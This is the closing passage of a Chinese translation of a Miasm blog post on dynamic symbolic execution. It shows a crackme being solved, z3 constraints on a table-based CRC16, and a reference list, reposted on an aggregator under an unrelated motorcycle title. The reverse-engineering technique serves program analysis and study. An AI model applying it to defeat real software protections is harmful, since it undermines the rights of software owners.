00000000 4d 21 40 24 4d 4e 0e 87 b1 7d 0a 4e c6 30 e7 |M!@$MN...}.N.0.|
$ gcc d -o dse_crackme
$ ./dse_crackme
OK
最終我們得到了正確的結(jié)果。
在這里,代碼覆蓋率的策略已經(jīng)足夠了;但并不總是這樣。如果這一最簡(jiǎn)單的策略不夠好,那就使用更強(qiáng)力,當(dāng)然也更麻煩,的策略,比如說(shuō)分支和路徑覆蓋策略。要使用新的策略,只需要修改 DSEPathConstraint 的produce_solution 參數(shù)。
邊注:對(duì)于那些對(duì)內(nèi)部實(shí)現(xiàn)感興趣的人,你可能注意到了,CRC16是基于表實(shí)現(xiàn)的。最后,一些待求解的約束如下所示:
@16[table_offset + symbolic_element] == CST
我們可以用z3查找符號(hào),解出這個(gè)約束,要做到這點(diǎn),z3需要知道表的值。
為了達(dá)到這一目的,我們可以使用 Miasmexpr_range 工具來(lái)取得可到達(dá)的地址區(qū)間。如果區(qū)間不是太大的話,我們可以在內(nèi)存內(nèi)容中添加一個(gè)約束給z3(@16[table_offset + 2] == 0x1021等)。
因?yàn)榈刂肥怯梅?hào)保存的,所以這也是可以做到的。因?yàn)樾阅艿脑?,其它的一些框架沒(méi)有選擇這種方法.要在Miasm中模仿這一過(guò)程,尋址過(guò)程可以由它們的DSE.handle方法中的具體值來(lái)完成。
最后的想法
這篇文章對(duì)DSE能完成的工作做了一個(gè)大體的介紹。
Miasm的實(shí)現(xiàn)方式非常靈活;它可以滿足大部人的需要。此外,只需要幾行代碼,就可以將DSE添加到現(xiàn)有腳本中。事實(shí)證明它是一種強(qiáng)大的逆向工具。
相關(guān)資源
相關(guān)的腳本:
re
相關(guān)鏈接:
Unleashing MAYHEM on Binary Code
Manticore - Defcon 200
Angr - Defcon magic2000
Using Miasm to fuzz binaries with AFL (+ DSE)
Enhancing Symbolic Execution with Veritesting
Your Exploit is Mine: Automatic Shellcode - Transplant for Remote Exploits
Driller: Augmenting Fuzzing Through Selective - Symbolic Execution
原文鏈接:[翻譯]玩轉(zhuǎn)動(dòng)態(tài)符號(hào)執(zhí)行-『外文翻譯』-看雪安全論壇
本文由看雪翻譯小組 夢(mèng)野間 編譯,來(lái)源miasm's blog
轉(zhuǎn)載請(qǐng)注明來(lái)自看雪社區(qū)
1.《【雅馬哈fz6r】執(zhí)行動(dòng)態(tài)符號(hào)》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識(shí),僅代表作者本人觀點(diǎn),與本網(wǎng)站無(wú)關(guān),侵刪請(qǐng)聯(lián)系頁(yè)腳下方聯(lián)系方式。
2.《【雅馬哈fz6r】執(zhí)行動(dòng)態(tài)符號(hào)》僅供讀者參考,本網(wǎng)站未對(duì)該內(nèi)容進(jìn)行證實(shí),對(duì)其原創(chuàng)性、真實(shí)性、完整性、及時(shí)性不作任何保證。
3.文章轉(zhuǎn)載時(shí)請(qǐng)保留本站內(nèi)容來(lái)源地址,http://f99ss.com/auto/2588693.html